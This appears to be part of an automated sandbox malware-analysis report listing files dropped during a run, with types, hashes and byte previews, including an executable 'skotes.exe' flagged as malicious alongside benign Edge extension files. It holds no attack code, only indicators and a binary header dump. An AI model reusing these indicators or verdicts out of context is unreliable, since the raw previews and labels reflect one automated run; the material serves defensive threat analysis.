Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\9654f70b-d41e-4a3e-a9f9-ab4adb4c1591.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], progressive, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	337242
Entropy (8bit):	7.959035365404173
Encrypted:	false
SSDEEP:	6144:d5M6xLTOzxmsLGFj4Xwz+aASlmhxL4MSZ5fPl9YMMX6QLsBiU9b:d5M6dTOzo2X5Sox1U5l9YhqQq
MD5:	D9043FFE2E5B0EBE11DF14F794B882A8
SHA1:	53B80DCE84D1C9469BA1E269CD1D11F76CDFC6E9
SHA-256:	B092230F1CE763F3DB4599742FDFEEA38150F6F02F3943CB7E3C637DD946999F
SHA-512:	B2EAEED74A9DB8118AF2CD9C907739C4A6AF6B33541EB52E254030570BD24FA25ED696036D45BEE2EE2D888F87DA530A81BFF4FE9023EF1ADADBB50F83DC1300
Malicious:	false
Preview:	......Exif..II*.................Ducky.......<......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:b75a62fc-b0e7-2542-abb1-0cf1051812b8" xmpMM:DocumentID="xmp.did:C653DEED17A311EA8B5BD5250E05F029" xmpMM:InstanceID="xmp.iid:C653DEEC17A311EA8B5BD5250E05F029" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:39d3d013-cb07-b94a-9afe-3e232046b219" stRef:documentID="adobe:docid:photoshop:2052e8c3-076c-2b43-8d50-84f2df243b9c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...&Adobe.d................O..............

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIEBFHCAKFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1848832
Entropy (8bit):	7.9482205887980575
Encrypted:	false
SSDEEP:	49152:03D8MC3nKP30n5RR74zlPK8suoRhhKUl0iLb:03xB30ntulPKyoXMUlX
MD5:	A218B8E66F929D65CEA126F98F026C66
SHA1:	CF2500D00B460084217583F5F63921E197744488
SHA-256:	2E0D3B67009872C61328C5904A23832E6B6617DE8BF756533B1804BB56719D05
SHA-512:	46E95B24D1F74F57A02E2ACA0745AF63622520FA804E10FD3A251F78CAB028013DA8E7982A9ED0318711A78E36E33EB9EA494E58D834BD18A336560A1C90A625
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PI...........@...........................I...........@.................................W...k.......D...................T7I..............................7I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p).........................@...cwfrbimo. ... 0.....................@...auhgmisl.....@I.....................@....taggant.0...PI.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c6d2fb51-95cf-4e7f-8e98-8b1c45d3c744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.412724249450362
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0wO54z075wQ5M:JIVuwEw5MUFZLBQLtCZDM
MD5:	31500857D746E639E430E5FDA0FA5044
SHA1:	3F3D26582E5C9BB7E462A6E183B692E243260BA5
SHA-256:	7B4698D47C4A9EDB2A6416021DE15730B046A9FB2EF98CAD0EB767F459E2924E
SHA-512:	B00FB292D3B9813F60F9955DAFE81B2C7DEAAF4608707FF34A96CBDB4A932E2A126DD82AAF7FDCD9F37B19BEAA99849D283865EE9C04E07ABB772149D9B16B2E
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d44d1cd6-52d0-414c-8a27-982d18463763.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f396d042-c9e9-45e0-b641-f620fec2cc5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1415441098\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1415441098\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1415441098\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1415441098\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1415441098\c6d2fb51-95cf-4e7f-8e98-8b1c45d3c744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\09e9d01c-a09b-46d8-981b-125dc2e46f0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
